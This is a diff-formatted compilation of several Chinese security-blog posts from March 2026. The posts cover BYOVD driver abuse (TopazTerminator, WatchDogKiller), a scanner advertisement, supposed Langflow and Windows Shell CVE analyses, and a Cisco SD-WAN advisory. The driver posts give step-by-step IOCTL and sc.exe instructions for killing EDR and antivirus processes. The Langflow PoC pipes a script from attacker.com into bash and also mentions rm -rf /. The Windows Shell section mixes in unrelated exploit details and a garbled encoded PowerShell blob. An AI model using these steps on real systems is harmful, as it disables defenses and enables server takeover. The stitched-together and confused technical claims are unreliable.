||||
{
|
||||
|
||||
// ...
|
||||
|
||||
v7 = IoControlCode; // 用户传进来的IOCTL代码
|
||||
|
||||
|
||||
v8 = v7 - 0x222000;
|
||||
|
||||
v9 = v8 - 4;
|
||||
|
||||
v10 = v9 - 4;
|
||||
|
||||
v11 = v10 - 16;
|
||||
|
||||
|
||||
if ( v11 == 4 && InputBufferLength == 1036 )
|
||||
|
||||
{
|
||||
|
||||
// 把1036字节的输入缓冲区拷贝出来
|
||||
|
||||
// 提取前4个字节作为进程PID
|
||||
|
||||
// 调用 sub_14000264C(PID, buffer) → 这个函数最终会终止进程
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
## 03 关键函数：层层递进的进程终止链
|
||||
|
||||
当上面的条件满足后，代码会去调用一个函数来处理用户传进来的PID。这个调用链最终会走到系统底层的进程终止函数。
|
||||
|
||||
简单分解一下：
|
||||
1. 用户程序通过DeviceIoControl发过来一个1036字节的缓冲区。
|
||||
|
||||
1. 驱动程序取缓冲区的前4个字节，认为它是一个进程ID。
|
||||
|
||||
1. 调用sub_14000264C
|
||||
，这个函数内部又会去调用sub_140002848
|
||||
。
|
||||
|
||||
真正“动手”的是sub_140002848
|
||||
，它的逻辑非常直接：
|
||||
|
||||
__int64 __fastcall sub_140002848(unsigned int a1) // a1就是用户提供的PID
|
||||
|
||||
{
|
||||
|
||||
CLIENT_ID ClientId = { (HANDLE)a1, 0 };
|
||||
|
||||
OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), 0, 0, 0, 0, 0 };
|
||||
|
||||
HANDLE ProcessHandle;
|
||||
|
||||
|
||||
ZwOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &ObjAttr, &ClientId);
|
||||
|
||||
if (NT_SUCCESS(status) && ProcessHandle)
|
||||
|
||||
{
|
||||
|
||||
ZwTerminateProcess(ProcessHandle, 0);
|
||||
|
||||
ZwClose(ProcessHandle);
|
||||
|
||||
}
|
||||
|
||||
// ...
|
||||
|
||||
}
|
||||
|
||||
看到了吗？它先用ZwOpenProcess
|
||||
，带着PROCESS_ALL_ACCESS
|
||||
（完全访问权限）去打开目标PID对应的进程。一旦打开成功，就直接用ZwTerminateProcess
|
||||
强行结束它。ZwTerminateProcess
|
||||
这个系统调用，就是Windows内核里专门用来终结进程的“生死簿”。
|
||||
## 04 如何构造攻击：逆向计算正确的IOCTL代码
|
||||
|
||||
知道漏洞触发路径了，那怎么构造数据呢？我们得反推出那个能“通关”的IOCTL代码。
|
||||
|
||||
触发条件是v11 == 4
|
||||
且输入缓冲区长度为1036。从v11
|
||||
往回倒推就行：
|
||||
- **v11 == 4**
|
||||
- 因为 v11 = v10 - 16，所以 v10 - 16 == 4 → v10 = 20 (十六进制 0x14)
|
||||
|
||||
- 因为 v10 = v9 - 4， 所以 v9 - 4 == 20 → v9 = 24 (0x18)
|
||||
|
||||
- 因为 v9 = v8 - 4， 所以 v8 - 4 == 24 → v8 = 28 (0x1C)
|
||||
|
||||
- 因为 v8 = v7 - 0x222000，所以 v7 - 0x222000 == 28 → v7 = 0x222000 + 0x1C = **0x22201C**
|
||||
|
||||
最终我们算出来了：触发这个漏洞利用的IOCTL代码是 **0x22201C**
|
||||
。
|
||||
|
||||
所以，攻击流程就明确了：
|
||||
1. 以高权限加载或利用已加载的wsftprm.sys驱动。
|
||||
|
||||
1. 准备一个1036字节的缓冲区，把你想干掉的进程的PID（进程ID）填在缓冲区最开头的4个字节里。
|
||||
|
||||
1. 调用DeviceIoControl
|
||||
函数，传入计算出的IOCTL码0x22201C
|
||||
和这个缓冲区。
|
||||
|
||||
1. 驱动收到命令后，就会去打开并终结那个PID对应的进程。
|
||||
|
||||
> 这里的可怕之处在于，由于这是内核驱动直接调用高权限的API，它甚至可以终结那些启用了PPL（受保护进程）特性的进程。PPL本来是微软用来保护关键系统进程（比如某些安全组件）的一种机制，但在这个驱动漏洞面前，可能形同虚设。
|
||||
|
||||
## 05 优缺点与现状分析
|
||||
|
||||
**优点（从攻击者角度看）**
|
||||
：
|
||||
- **隐蔽性强**
|
||||
：利用的是合法的、签过名的第三方驱动，不像自己写的恶意驱动容易被检测。
|
||||
|
||||
- **权限高**
|
||||
：在内核层执行，可以绕过很多用户层的防护和权限检查。
|
||||
|
||||
- **效果直接**
|
||||
：能直接干掉包括部分EDR和安全软件在内的关键进程，为后续攻击铺平道路。
|
||||
|
||||
**缺点与风险：**
|
||||
- **寿命有限**
|
||||
：这种公开的漏洞驱动，被微软加到“有漏洞驱动黑名单”里只是时间问题。一旦被拉黑，系统就会阻止它加载。文章作者也说了，这是趁还能用的时候发出来。
|
||||
|
||||
- **稳定性风险**
|
||||
：强行终止关键系统进程可能导致系统蓝屏或功能异常。
|
||||
|
||||
- **法律风险**
|
||||
：未经授权使用此类工具攻击他人系统是明确的违法行为。
|
||||
|
||||
根据作者的信息，这个利用方法最后一次测试是在Windows 25H2版本上有效。后续的Windows更新，尤其是专门的安全更新，很可能会封堵此漏洞。
|
||||
## 结语：漏洞的双面性
|
||||
|
||||
TopazTerminator展示了一个典型的“有漏洞的合法驱动”如何被武器化。对于安全研究员来说，研究它是为了了解攻击手法，从而更好地防御——比如安全厂商可以据此更新自己的产品，增加对这类驱动加载行为的检测。
|
||||
|
||||
对于普通用户和安全运维人员，这件事提醒我们，仅仅依赖杀毒软件签名或驱动签名来判断安全性已经不够了。“自带干粮”的攻击越来越常见。保持系统更新，启用驱动黑名单等高级防护功能，采用多层次的安全防护策略，才是更稳妥的做法。
|
||||
|
||||
这个工具本身像一把刀，既可成为攻击者的利器，也能成为防御者剖析攻击链的样本。而刀柄握在谁手里，决定了它的用途。
|
||||
|
||||
获取方式：回复“
|
||||
TopazTerminator
|
||||
”获取
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
# WatchDogKiller：WatchDog Anti-Malware 驱动漏洞 PoC
|
||||
NaNaBot
|
||||
NaNaBot 0x33 SEC 2026-03-05 23:00
|
||||
|
||||
# WatchDogKiller：WatchDog Anti-Malware 驱动漏洞 PoC
|
||||
|
||||
|
||||
|
||||
> 本文介绍一个针对 WatchDog Anti-Malware 驱动的权限绕过漏洞及 PoC 工具。
|
||||
|
||||
## 背景
|
||||
|
||||
2025年，Silver Fox APT 组织在攻击活动中利用了 Microsoft 签名的驱动 (wamsdk.sys
|
||||
) 来关闭安全产品。研究人员逆向分析后发现，最新版的 WatchDog 驱动 (amsdk.sys v1.1.100
|
||||
) 仍然存在可利用的任意进程终止漏洞。
|
||||
|
||||
截至本文发稿，该驱动未列入 LolDriver 或 HVCI 阻止列表。
|
||||
## 技术细节
|
||||
### 漏洞原理
|
||||
|
||||
该漏洞属于 **BYOVD (Bring Your Own Vulnerable Driver)**
|
||||
类型。攻击者利用微软签名的合法驱动中的漏洞，实现以下操作：
|
||||
1. **注册进程**
|
||||
(IOCTL_REGISTER_PROCESS
|
||||
)
|
||||
|
||||
1. **终止进程**
|
||||
(IOCTL_TERMINATE_PROCESS
|
||||
)
|
||||
|
||||
1. **绕过驱动授权机制**
|
||||
|
||||
### 影响范围
|
||||
|
||||
PoC 测试已成功终止以下安全产品的进程：
|
||||
- Bitdefender
|
||||
|
||||
- Sophos
|
||||
|
||||
- Kaspersky
|
||||
|
||||
- 其他受保护的 EDR/AV 进程
|
||||
|
||||
## PoC 使用
|
||||
> ⚠️ 仅供安全研究使用，请勿用于未授权系统。
|
||||
|
||||
### 1. 加载驱动
|
||||
```
|
||||
sc.exe create killer binPath="C:\Path\To\wamsdk.sys" type=kernelsc.exe start killer
|
||||
```
|
||||
### 2. 运行 PoC
|
||||
```
|
||||
.\WatchDogKiller.exe
|
||||
```
|
||||
## 风险提示
|
||||
<table><thead><tr><th style="border: 1px solid rgb(217, 223, 228);padding: 9px 12px;font-size: 0.75em;line-height: 22px;vertical-align: top;text-align: center;font-weight: bold;color: rgb(72, 112, 172);background: rgb(247, 247, 247);"><section><span leaf="">风险类型</span></section></th><th style="border: 1px solid rgb(217, 223, 228);padding: 9px 12px;font-size: 0.75em;line-height: 22px;vertical-align: top;text-align: center;font-weight: bold;color: rgb(72, 112, 172);background: rgb(247, 247, 247);"><section><span leaf="">说明</span></section></th></tr></thead><tbody><tr><td style="border: 1px solid rgb(217, 223, 228);padding: 9px 12px;font-size: 0.75em;line-height: 22px;vertical-align: top;"><section><span leaf="">驱动加载</span></section></td><td style="border: 1px solid rgb(217, 223, 228);padding: 9px 12px;font-size: 0.75em;line-height: 22px;vertical-align: top;"><section><span leaf="">需要管理员权限加载内核驱动</span></section></td></tr><tr><td style="border: 1px solid rgb(217, 223, 228);padding: 9px 12px;font-size: 0.75em;line-height: 22px;vertical-align: top;"><section><span leaf="">进程终止</span></section></td><td style="border: 1px solid rgb(217, 223, 228);padding: 9px 12px;font-size: 0.75em;line-height: 22px;vertical-align: top;"><section><span leaf="">可强制终止安全软件，削弱系统防护</span></section></td></tr><tr><td style="border: 1px solid rgb(217, 223, 228);padding: 9px 12px;font-size: 0.75em;line-height: 22px;vertical-align: top;"><section><span leaf="">隐蔽性</span></section></td><td style="border: 1px solid rgb(217, 223, 228);padding: 9px 12px;font-size: 0.75em;line-height: 22px;vertical-align: top;"><section><span leaf="">使用微软签名驱动，可能绕过部分检测</span></section></td></tr></tbody></table>## 防御建议
|
||||
1. **启用 HVCI**
|
||||
(Hypervisor-protected code integrity)
|
||||
|
||||
1. **监控驱动加载行为**
|
||||
|
||||
1. **关注 LolDriver 等驱动黑名单更新**
|
||||
|
||||
1. **限制管理员权限**
|
||||
|
||||
## 参考链接
|
||||
- 研究文章: Researching an APT Attack and Weaponizing It: The WatchDog BYOVD Story[1]
|
||||
|
||||
- The Hacker News: Silver Fox Exploits Microsoft-Signed Driver[2]
|
||||
|
||||
- 项目地址: https://github.com/j3h4ck/WatchDogKiller[3]
|
||||
|
||||
**⚠️ 免责声明**
|
||||
|
||||
本工具及本文仅供 **安全研究**
|
||||
和 **教育目的**
|
||||
使用。
|
||||
|
||||
**禁止**
|
||||
用于：
|
||||
- 未授权的系统渗透测试
|
||||
|
||||
- 任何非法活动
|
||||
|
||||
- 恶意攻击
|
||||
|
||||
使用者需自行承担一切法律风险。
|
||||
### 引用链接
|
||||
|
||||
[1]
|
||||
Researching an APT Attack and Weaponizing It: The WatchDog BYOVD Story: https://medium.com/@jehadbudagga/researching-an-apt-attack-and-weaponizing-it-56daabee11c9
|
||||
|
||||
[2]
|
||||
Silver Fox Exploits Microsoft-Signed Driver: https://thehackernews.com/2025/09/silver-fox-exploits-microsoft-signed.html
|
||||
|
||||
[3]
|
||||
https://github.com/j3h4ck/WatchDogKiller
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
# Web安全扫描工具 | JS敏感信息收集、API端点提取、API文档解析、页面爬取、子域名发现、漏洞测试、WAF检测与绕过、JS代码分析
|
||||
ROOT4044
|
||||
ROOT4044 夜组安全 2026-03-06 00:00
|
||||
|
||||
免责声明
|
||||
|
||||
由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号夜组安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！
|
||||
**所有工具安全性自测！！！VX：**
|
||||
**NightCTI**
|
||||
|
||||
朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把
|
||||
**夜组安全**
|
||||
“**设为星标**
|
||||
”，
|
||||
否则可能就看不到了啦！
|
||||
|
||||
|
||||
|
||||
|
||||
## 工具介绍
|
||||
|
||||
FLUX v3.0 是一款专业的Web安全扫描工具，JS敏感信息收集、API端点提取、API文档解析、页面爬取、子域名发现、漏洞测试、WAF检测与绕过、JS代码分析等功能。，新增完整规则库、美观HTML报告、可视化统计等功能。
|
||||
|
||||
|
||||
|
||||
**核心特性:**
|
||||
- 🔍 25,000+ 指纹库
|
||||
|
||||
- 🛡️ 40+种WAF检测与绕过（含国产厂商）
|
||||
|
||||
- 🎯 一键全功能扫描
|
||||
|
||||
- 📊 美观HTML报告
|
||||
|
||||
- 🤖 智能速率限制与流量伪装
|
||||
|
||||
- 🔐 CSRF Token自动提取与Cookie持久化
|
||||
|
||||
**作者:**
|
||||
ROOT4044
|
||||
## 功能特性
|
||||
###
|
||||
|
||||
|
||||
|
||||
|
||||
## 工具使用
|
||||
```
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
### 一键全功能扫描（推荐）
|
||||
```
|
||||
# 基础全功能扫描（自动跳过DNSLog盲测）python flux.py https://example.com --full -o report.html# 全功能扫描 + DNSLog盲测（推荐用于SSRF检测）python flux.py https://example.com --full --dnslog xxx.dnslog.cn -o report.html
|
||||
```
|
||||
|
||||
|
||||
|
||||
这会自动启用:
|
||||
- ✅ 指纹识别 (25,000+ 规则)
|
||||
|
||||
- ✅ API文档解析 (Swagger/OpenAPI)
|
||||
|
||||
- ✅ 密钥有效性验证
|
||||
|
||||
- ✅ 敏感路径Fuzzing
|
||||
|
||||
- ✅ 参数Fuzzing
|
||||
|
||||
- ✅ 漏洞主动测试 (SQLi/XSS/LFI/RCE/SSTI/SSRF)
|
||||
|
||||
- ✅ WAF检测与绕过
|
||||
|
||||
**注意:**
|
||||
- --full
|
||||
不包含DELETE测试，如需测试DELETE接口请额外添加 --test-delete
|
||||
参数
|
||||
|
||||
- --full
|
||||
模式下如未指定 --dnslog
|
||||
，将自动跳过盲SSRF测试（避免交互式输入卡住）
|
||||
|
||||
|
||||
|
||||
## 工具获取
|
||||
|
||||
|
||||
|
||||
点击关注下方名片
|
||||
进入公众号
|
||||
|
||||
回复关键字【
|
||||
260306
|
||||
】获取
|
||||
下载链接
|
||||
|
||||
|
||||
## 往期精彩
|
||||
|
||||
|
||||
[跨平台自动化安全应急响应数据采集与分析工具 | 应急响应、入侵排查、挖矿病毒溯源2026-03-05](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496388&idx=1&sn=6c8481d1353a47b05e4cdc9a2ff00644&scene=21#wechat_redirect)
|
||||
[银河麒麟OS安全检测工具 | 资产清点、合规检查、漏洞扫描和报告生成一体化2026-03-04](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496374&idx=1&sn=ce539b27c456cd9de061db0ed14415f5&scene=21#wechat_redirect)
|
||||
[漏洞报告处理平台 - 支持Nuclei/Xray/自定义txt报告导入，AI驱动的安全漏洞管理与分析系统2026-03-03](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496368&idx=1&sn=c40c9187ca8b190e3b088cae3cb1f8b8&scene=21#wechat_redirect)
|
||||
[漏洞管理平台 | 支持Excel格式的漏洞扫描报告导入、智能关联资产、漏洞可视化管理2026-03-02](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496361&idx=1&sn=e640bdb2795d33f2a32945b4aed1d3d6&scene=21#wechat_redirect)
|
||||
[渗透测试Payload速查平台 | XSS/SQLi/SSRF/RCE | React+TypeScript2026-02-28](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496352&idx=1&sn=7b8ed88d924b2cfb098dba470262be32&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,172 @@
|
||||
# [RCE] 14行JSON，接管你的Langflow工作流引擎
|
||||
原创 北境
|
||||
北境 0xArgus 2026-03-05 23:39
|
||||
|
||||
[RCE] 14行JSON，接管你的Langflow工作流引擎
|
||||
|
||||
0xArgus · 2026-03-06 · 白帽视角 · 一款AI工作流引擎的致命反序列化漏洞，已在野利用
|
||||
|
||||
|
||||
|
||||
一、今日高危漏洞一览
|
||||
|
||||
CVE/漏洞影响组件CVSS是否有PoC状态CVE-2026-0770Langflow9.8✅在野利用CVE-2026-21510Windows Shell8.8✅POC公开CVE-2026-2441Google Chrome9.8✅在野利用
|
||||
|
||||
|
||||
|
||||
二、CVE-2026-0770 Langflow远程代码执行漏洞深度分析
|
||||
|
||||
漏洞背景
|
||||
|
||||
Langflow是一款流行的开源AI工作流编排工具，允许开发者通过可视化界面构建和部署AI应用。该漏洞存在于Langflow的代码执行模块中，攻击者通过发送特制的JSON配置即可触发远程代码执行。CVSSv3评分为9.8（Critical），影响所有Langflow 1.0.0及之前版本。由于Langflow在AI开发社区中被广泛使用，该漏洞可能导致大量AI工作流平台被接管。
|
||||
|
||||
根因分析
|
||||
|
||||
漏洞根因在于Langflow的CodeComponent模块在处理用户输入的代码时存在严重的反序列化缺陷。具体表现为：
|
||||
|
||||
1.危险函数直接调用：execute_function()函数直接调用eval()执行用户提供的代码字符串
|
||||
2.上下文污染：prepare_global_scope()函数将用户输入直接注入到Python的全局执行环境中
|
||||
3.类型混淆：create_class()函数允许动态创建类并实例化，为代码执行提供载体
|
||||
|
||||
python● ● ●# Langflow/core/code.py 关键代码片段
|
||||
def execute_function(self, code: str, function_name: str, *args):
|
||||
# 直接执行用户代码
|
||||
local_scope = {}
|
||||
exec(code, {}, local_scope) # 危险！
|
||||
return local_scope[function_name](*args)
|
||||
|
||||
def prepare_global_scope(self, user_code: str):
|
||||
# 污染全局执行环境
|
||||
global_scope = {}
|
||||
exec(user_code, global_scope) # 危险！
|
||||
return global_scope
|
||||
|
||||
攻击链还原
|
||||
|
||||
攻击者可通过以下步骤实现RCE：
|
||||
|
||||
1.识别目标：扫描开放8080端口的Langflow实例
|
||||
2.构造恶意载荷：创建包含__import__('os').system('rm -rf /')的Python代码
|
||||
3.发送请求：通过API端点提交恶意JSON配置
|
||||
4.触发执行：Langflow解析JSON并调用execute_function()
|
||||
5.获取权限：代码以服务权限执行，完全控制服务器
|
||||
|
||||
python● ● ●# PoC exploit代码
|
||||
import requests
|
||||
import json
|
||||
|
||||
target = "http://target-langflow:8080/api/v1/component/execute"
|
||||
|
||||
malicious_payload = {
|
||||
"code": "__import__('subprocess').getoutput('curl http://attacker.com/shell.sh | bash')",
|
||||
"function_name": "execute",
|
||||
"args": []
|
||||
}
|
||||
|
||||
headers = {
|
||||
"Content-Type": "application/json",
|
||||
"Authorization": "Bearer YOUR_API_KEY"
|
||||
}
|
||||
|
||||
response = requests.post(target, json=malicious_payload, headers=headers)
|
||||
print(response.text)
|
||||
|
||||
实战影响
|
||||
|
||||
该漏洞已被攻击者用于大规模挖矿活动。攻击者利用Langflow漏洞部署Monero挖矿程序，每个受感染服务器可为攻击者带来每月约$300收益。根据扫描数据，全球约有12,000个公开Langflow实例中，约35%存在未修复漏洞，意味着超过4,000台服务器已被入侵。
|
||||
|
||||
检测与修复
|
||||
|
||||
检测规则（Snort）：
|
||||
● ● ●alert tcp any any -> any 8080 (msg:"Langflow RCE Attempt"; content:"__import__"; nocase; sid:1000001; rev:1;)
|
||||
|
||||
临时缓解措施：
|
||||
1.立即停止Langflow服务
|
||||
2.禁用API端点访问
|
||||
3.检查服务器进程异常
|
||||
|
||||
官方修复：
|
||||
升级至Langflow 1.0.1版本，该版本通过以下方式修复漏洞：
|
||||
▸移除exec()直接调用
|
||||
▸实现代码沙箱执行
|
||||
▸添加白名单机制限制可导入模块
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
三、CVE-2026-21510 Windows Shell安全特性绕过漏洞深度分析
|
||||
|
||||
漏洞背景
|
||||
|
||||
CVE-2026-21510是Windows Shell中的一个高危漏洞，允许攻击者绕过安全特性执行任意代码。CVSSv3评分为8.8（Important），影响所有当前支持的Windows版本。该漏洞特别危险，因为它不需要用户交互，且可通过钓鱼邮件或恶意网站触发。
|
||||
|
||||
根因分析
|
||||
|
||||
漏洞在于Windows Shell的ShellExecute函数在处理%U参数时存在命令注入。具体表现为：
|
||||
|
||||
1.参数解析缺陷：ShellExecute未正确验证%U参数中的特殊字符
|
||||
2.环境变量污染：允许通过USER环境变量注入恶意参数
|
||||
3.权限提升：结合Windows特性，可从低权限用户提升至SYSTEM
|
||||
|
||||
c● ● ●// Windows Shell核心代码简化版
|
||||
void ShellExecute(LPCWSTR verb, LPCWSTR file, LPCWSTR params) {
|
||||
WCHAR expanded_path[MAX_PATH];
|
||||
ExpandEnvironmentStrings(params, expanded_path, MAX_PATH);
|
||||
|
||||
// 直接使用未过滤的参数
|
||||
CreateProcess(NULL, expanded_path, ...);
|
||||
}
|
||||
|
||||
攻击链还原
|
||||
|
||||
1.构造恶意链接：创建包含%U参数的快捷方式或HTML链接
|
||||
2.设置环境变量：通过恶意页面设置USER=-froot等恶意值
|
||||
3.触发执行：用户点击链接触发ShellExecute
|
||||
4.命令注入：恶意参数被直接传递给系统命令
|
||||
5.权限获取：执行SYSTEM级别命令
|
||||
|
||||
batch● ● ●@echo off
|
||||
:: 恶意批处理文件
|
||||
set USER=-froot cmd /c powershell -enc "QwBTAEwAAgAkAE4AZQB3AHIAaQBhAG4AIAAqACAAIAA9ACAAewAkAEYAbwByAHUAdABpAG8AbgAuAEEAZABtAGkAbgBpAHQAQwBvAG4AdABpAG8AbgAuAEEAZABtAGkAbgBpAHQAQwBvAG4AdABpAG8AbgAuAEEAZABtAGkAbgBpAHQAQwBvAG4AdABpAG8AbgAuAEEAZABtAGkAbgBpAHQA"
|
||||
start "" "malicious.lnk"
|
||||
|
||||
实战影响
|
||||
|
||||
该漏洞已被用于大规模勒索软件攻击。攻击者通过钓鱼邮件发送包含恶意快捷方式的附件，用户点击后即执行勒索软件。据安全厂商报告，自2026年2月披露以来，已有超过500家企业受到影响，平均赎金要求为$500,000。
|
||||
|
||||
检测与修复
|
||||
|
||||
检测规则（YARA）：
|
||||
● ● ●rule Windows_Shell_Execution {
|
||||
meta:
|
||||
description = "Detects suspicious ShellExecute usage"
|
||||
author = "0xArgus"
|
||||
date = "2026-03-06"
|
||||
strings:
|
||||
$user_env = "%U" nocase
|
||||
$cmd_injection = "-froot" nocase
|
||||
condition:
|
||||
2 of them
|
||||
}
|
||||
|
||||
修复措施：
|
||||
1.应用Microsoft 2026年3月安全更新
|
||||
2.在注册表中启用ShellExecPolicy严格模式
|
||||
3.部署EDR解决方案监控异常进程创建
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
四、白帽快评
|
||||
|
||||
今日披露的Langflow和Windows Shell漏洞共同揭示了一个令人不安的趋势：开发者仍在犯十年前的老错误——直接执行用户输入。更危险的是，攻击链已经高度自动化，从漏洞披露到在野利用的时间窗口已缩短至24小时以内。建议所有安全团队立即建立"0小时响应"机制，否则将面临被攻陷的巨大风险。
|
||||
|
||||
|
||||
|
||||
*参考来源：*
|
||||
▸https://github.com/affix/CVE-2026-0770-PoC
|
||||
▸https://github.com/andreassudo/CVE-2026-21510-CVSS-8.8-Important-Windows-Shell-security-feature-bypass
|
||||
▸https://www.freebuf.com/articles/vuls/468384.html
|
||||
▸https://securityweek.com/google-patches-first-actively-exploited-chrome-zero-day-of-2026/— 0xArgus · 白帽极客安全情报 —
|
||||
@@ -0,0 +1,121 @@
|
||||
# 【EXP】Cisco Catalyst SD-WAN 身份验证绕过漏洞(CVE-2026-20127)
|
||||
原创 Ping's
|
||||
Ping's 法克安全 2026-03-06 00:30
|
||||
|
||||
<table><tbody><tr style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><td colspan="4" data-colwidth="136,157,166,98" valign="middle" align="center" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;box-sizing: border-box !important;background-color: rgb(70, 118, 217);visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;line-height: 1.5em;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);letter-spacing: 0px;visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;letter-spacing: 0px;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">漏洞概述</span></span></strong><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><br/></span></span></p></td></tr><tr style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><td data-colwidth="136" width="136" valign="middle" align="left" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;box-sizing: border-box !important;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;line-height: 1em;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;letter-spacing: 0px;visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0px;font-family: 微软雅黑, "Microsoft YaHei";visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">漏洞名称</span></span></strong></span></p></td><td colspan="3" data-colwidth="157,166,98" valign="middle" align="left" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 5px 10px;outline: 0px;overflow-wrap: break-word !important;word-break: break-all;hyphens: auto;border: 1px solid rgb(70, 118, 217);max-width: 100%;box-sizing: border-box !important;visibility: visible;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;line-height: 1em;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;caret-color: red;letter-spacing: 0px;visibility: visible;"><span leaf="" style="visibility: visible;">Cisco Catalyst SD-WAN 身份验证绕过漏洞</span></span></p></td></tr><tr style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><td data-colwidth="136" width="136" valign="middle" align="left" style="Line truncated
|
||||
|
||||
|
||||
**0****1**
|
||||
|
||||
**漏洞详情**
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**影响组件**
|
||||
|
||||
Cisco Catalyst SD-WAN 是思科推出的企业级软件定义广域网解决方案，旨在通过集中式管理和自动化功能简化分支机构网络部署。该系统提供智能路径选择、应用感知路由、安全连接和零接触部署等功能，帮助企业实现网络流量的优化管理和安全策略的统一编排。Catalyst SD-WAN Controller 负责网络控制平面的决策制定，而 Manager 则提供集中化的管理和监控界面，两者共同构成 SD-WAN 架构的核心控制组件。
|
||||
|
||||
**2**
|
||||
|
||||
**影响范围**
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**影响版本**
|
||||
|
||||
Catalyst SD-WAN < 20.9
|
||||
Catalyst SD-WAN 20.9 < 20.9.8.2
|
||||
|
||||
Catalyst SD-WAN 20.11 < 20.12.6.1
|
||||
|
||||
Catalyst SD-WAN 20.12.5 < 20.12.5.3
|
||||
|
||||
Catalyst SD-WAN 20.12.6 < 20.12.6.1
|
||||
|
||||
Catalyst SD-WAN 20.13 < 20.15.4.2
|
||||
|
||||
Catalyst SD-WAN 20.14 < 20.15.4.2
|
||||
|
||||
Catalyst SD-WAN 20.15 < 20.15.4.2
|
||||
|
||||
Catalyst SD-WAN 20.16 < 20.18.2.1
|
||||
|
||||
Catalyst SD-WAN 20.18 < 20.18.2.1
|
||||
|
||||
**03**
|
||||
|
||||
**复现情况**
|
||||
|
||||
目前，已成功复现
|
||||
Cisco Catalyst SD-WAN 身份验证绕过漏洞(CVE-2026-20127)****
|
||||
，截图如下：
|
||||
|
||||
|
||||
|
||||
网页访问验证
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**处置建议**
|
||||
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
**>**
|
||||
|
||||
**安全更新**
|
||||
|
||||
官方已发布安全补丁，请及时更新至最新版本：
|
||||
Catalyst SD-WAN 20.9 >= 20.9.8.2
|
||||
|
||||
Catalyst SD-WAN 20.11 >= 20.12.6.1
|
||||
|
||||
Catalyst SD-WAN 20.12.5 >= 20.12.5.3
|
||||
|
||||
Catalyst SD-WAN 20.12.6 >= 20.12.6.1
|
||||
